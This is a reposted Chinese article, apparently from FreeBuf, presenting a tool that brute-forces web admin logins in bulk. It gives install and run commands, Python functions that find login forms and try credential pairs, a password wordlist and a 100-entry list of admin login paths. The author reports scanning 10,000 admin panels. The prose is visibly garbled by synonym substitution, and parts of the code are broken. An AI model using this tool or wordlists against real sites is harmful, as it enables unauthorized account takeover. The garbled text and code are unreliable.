工具先容

通用的web弱口令破解脚本,旨在批量检测那些没有验证码的管理后台。

随着攻防演习训练和一些漏洞挖掘任务的增多,有时候须要大批量快速的检测一些网站后台安全性,特殊是测试一些管理弱口令,这种难度不大但比较费时费力的事情就须要一个自动化的脚本来完成了。
但目前的各种web口令破解工具大多是针对某个cms进行设计,或者类似burpsuite须要手工配置,没有见过能通用的破解工具。

php网站弱口令Web弱口令通用检测办法探讨 Node.js

因此就有了这个小工具——通用web弱口令破解脚本,合营另一个信息搜集工具 https://github.com/TideSec/FuzzScanner 可以进行批量快速刷分。

安装利用

安装利用都比较大略:

从Github上拖下来

git clone https://github.com/TideSec/web_pwd_common_crack

安装requirements.txt依赖

pip install -r requirements.txt

运行脚本即可

python web_pwd_crack.py url.txt 50 --> url.txt为待扫描URL地址列表,50为线程数,默认为50

url.txt为待检测URL地址,可以自己写个脚本批量从搜索引擎获取,也可以自己用目录列举工具去搜集。

功能事理

1、访问目标地址,剖析关键字

事理非常low,便是从页面中提取表单,对表单中的内容进行检索,创造存在用户名、密码、username、pwd、pass之类的字段则认为是登录页面,然后提取参数组成data数据,发送给crack函数进行破解。

由于现在各种网站的要求包的多样性,目前没法做到像wvs那样能提取到所有的登录post,只是根据大略的关键字进行了提取。

logins =['用户名','密码','login','denglu','登录','user','pass','yonghu','mima','pwd','zhanghao','yonghu','name','email','account']

在测试中还创造有时候搜索框会滋扰结果,以是把搜索框又进行了打消

sous = ['检索','搜','search','查找','keyword','关键字']

其余,目前不支持自动识别验证码,以是对验证码也进行了打消

yzms = ['验证码','点击改换','点击刷新','checkcode','valicode','code','captcha']

2、通过解析页面获取post地址及参数

def get_post_get_page(content,url): form_action = str(content).split('\n')[0] # print form_action soup = BS(form_action, \公众lxml\公众) url_path = '' for x in re.findall(\公众.?/\"大众,url): url_path = url_path+x action_url = soup.form['action'] if str(action_url).startswith('http'): path = action_url else: path = url_path+soup.form['action'] method = soup.form['method'] return path,method

3、在获取干系参数和path后调用破解函数web_crack进行密码破解

def web_crack(method,path,data): conn = requests.session() res0 = conn.get(path, headers=requests_headers(), allow_redirects=False,timeout=10,proxies = requests_proxies()) error_length,cookie_error_flag,dynamic_req_len = get_error_length(conn,method,path,data) if dynamic_req_len: return False,False num = 0 success_flag = 0 dic_all = len(USERNAME_DIC)len(PASSWORD_DIC) for user_name in USERNAME_DIC: for pass_word in PASSWORD_DIC: data1 = data # print data1 user_name = user_name.strip() pass_word = pass_word.strip() pass_word = str(pass_word.replace('{user}', user_name)) data2 = str(data1.replace('%7Buser_name%7D', user_name)) data2 = str(data2.replace('%7Bpass_word%7D', pass_word)) num = num+1 res = conn.post(url = path,data = data2, headers=requests_headers(), timeout=10,verify=False,allow_redirects=False,proxies = requests_proxies()) cur_length = len(res.content+str(res.headers)) if cookie_error_flag: # cookie_error_flag表示每个数据包中都有cookie if cur_length!=error_length: success_flag =1 return user_name,pass_word elif 'Set-Cookie' in res.headers and cur_length!=error_length: success_flag =1 return user_name,pass_word if success_flag == 0: return False,False

配置了一个比较大略的字典

USERNAME_DIC = ['admin','guest','test','ceshi','system']PASSWORD_DIC = ['123456','admin','password','123123','123','1','{user}','{user}{user}','{user}1','{user}123','{user}2018','{user}2017','{user}2016','{user}2015','{user}!','P@ssw0rd!!','qwa123','12345678','test','123qwe!@#','123456789','123321','1314520','666666','woaini','000000','1234567890','8888888','qwerty','1qaz2wsx','abc123','abc123456','1q2w3e4r','123qwe','a123456','p@ssw0rd','a123456789','woaini1314','qwerasdf','123456a','123456789a','987654321','qwer!@#$','5201314520', 'q123456', '123456abc', '123123123', '123456.','0123456789', 'asd123456', 'aa123456', 'q123456789', '!QAZ@WSX','12345','1234567','passw0rd','admin888']

4、如何判断破解成功

目前利用了几种办法相互结合的方法来共同验证。

1、通过返回包里有没有Set-Cookie;2、返回数据包的长度变革;3、利用requests.session()进行重验证;4、返回页面的内容匹配。

5、优化准确度,加入了recheck函数

在测试时创造会涌现误报情形,以是对成功的账户密码进行了重验证。
比如:

1、有些系统在探测多次之后涌现封ip之类的情形,这时候会滋扰破解脚本的判断;2、有些系统在开始的时候没有验证码,但缺点几次后会涌现验证码;3、有些系统的提示信息会涌现随机的变更,导致误报。

事情界面

扫描过程如下

扫描成功的结果会保持在web_crack_ok.txt文件中

扫描中识别到验证码、phpmyadmin等所有的日志会保存在web_crack_log.txt文件中,后期可以根据log日志再进行逐一筛查。

其他解释

其实在完成这个工具后,也开始明白为什么市情上没有通用的破解器,由于成功率的确不高!
我测试过10000个管理后台,破解出来弱口令的大约110个,有没有漏报不清楚但基本没有误报。

成功率不高紧张缘故原由有:

1、web页面类型繁杂,很难准确获取并提交精确参数;

2、很多页面都有验证码,目前这个小脚本还没法自动识别验证码;

3、为了平衡韶光和效率,利用了比较大略的用户名和密码字典,以是轻微繁芜的密码就破解不出来了。

我一样平常会利用dirsearch或之类的目录列举工具,配置一个比较轻便的管理后台目录字典,对目标地址进行批量扫描管理后台,然后再利用web_pwd_crack.py对这些后台地址批量进行弱口令破解。

贡献一个比较精简的管理后台字典(100条)

admin/default/login.aspadmin/login.aspadmin/manage/login.aspadmin_login/login.aspadmincp/login.aspadministrator/login.asplogin.aspmanage/login.aspmanager/login.aspmember/login.aspadmin-login.phpadmin/admin-login.phpadmin/admin_login.phpadmin/login.phpadmin2/login.phpadmin_area/login.phpadmin_login.phpadminarea/login.phpadmincontrol/login.phpadministrator/login.phpadministratorlogin.phpadminlogin.phpautologin.phpbb-admin/login.phpblog/wp-login.phpchecklogin.phplogin.phpmodelsearch/login.phpmoderator/login.phpnsw/admin/login.phppages/admin/admin-login.phppanel-administracion/login.phpprocesslogin.phprcjakar/admin/login.phprelogin.phpsiteadmin/login.phpsqlbuddy/login.phpuserlogin.phpusuarios/login.phpwebadmin/login.phpwp-login.phpaccount/login.jspaccounts/login.jspadmin/login.jspauth/login.jspjsp/extension/login.jsplogin.jspmember/login.jspmembers/login.jspportalAppAdmin/login.jspadmin.jspnetadmin.jspadmin.phpadmin.php3admin/admin.phpadmin_area/admin.phpadminarea/admin.phpauthadmin.phpbb-admin/admin.phpcheckadmin.phpcmsadmin.phpdbadmin.phpfileadmin.phpisadmin.phplinusadmin-phpinfo.phpmemberadmin.phpmoadmin.phpmodelsearch/admin.phpmoderator/admin.phppanel-administracion/admin.phpphpliteadmin.phpsiteadmin.phpsysadmin.phptmp/admin.phpur-admin.phpuser/admin.phpusers/admin.phpwebadmin.phpwebadmin/admin.phpwp-content/plugins/akismet/admin.phpadmin.aspadmin.aspxadmin/default/admin.aspadmin/manage/admin.aspadmin_login/admin.aspadministrator/admin.asparticle/admin/admin.aspdenglu/admin.aspguanli/admin.asphoutai/admin.asplogin/admin/admin.aspmanage/admin.aspmanager/admin.aspmember/admin.aspadmin/logon.jspadmin/secure/logon.jspcompass/logon.jsplogon.jsplogon/logon.jsp

ToDo

验证码识别

减少误报率

优化编码处理

能不那么low

本文作者:Tide重剑无锋,转载自FreeBuf.COM